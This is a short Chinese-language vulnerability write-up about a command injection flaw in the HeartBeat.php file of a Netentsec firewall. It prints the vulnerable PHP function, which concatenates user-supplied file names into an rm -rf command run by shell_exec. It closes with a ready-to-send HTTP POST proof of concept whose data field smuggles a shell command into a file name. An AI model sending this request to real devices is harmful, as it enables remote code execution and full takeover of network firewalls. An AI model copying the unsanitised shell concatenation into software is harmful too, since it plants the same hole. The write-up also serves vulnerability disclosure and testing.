原理
网康防火墙HearBeat.php文件中将参数method赋值为delTestFile时,可触发文件删除操作,在data参数中指定需要删除的文件,由于删除文件的操作是通过系统命令完成的,导致命令注入漏洞。
public function deleteImage($params){//params传入一个字典
$basePath = '/var/www/html/';
$imgPath = $this->imagePath;
$params = $params->data;//获取data中的文件路径
$cmd = "cd $imgPath \n /bin/rm -rf ";//命令主体
$existDefault=false;
foreach ($params as $img){
if($img=='default.png'){
$existDefault=true;
}else{
$cmd.=$img.' ';//直接进行命令拼接,导致命令注入漏洞
}
}
Ns_debug_log($cmd,'x.log');
shell_exec($cmd);//未经检查直接执行命令导致RCE
if($existDefault){
return $this->response(array('failed : default images can not delete!'));
}
return $this->response(array());
// Ns_debug_log($params,'x.log');
}
危害
攻击者可获得系统的完整访问权限。
POC & EXP
POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x:xxx
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
{"action":"NS_Rpc_HeartBeat","method":"delTestFile","data": ["/var/www/tmp/1.txt;whoami>202301.txt"],"type":"rpc","tid":11,"f8839p7rqtj":"="}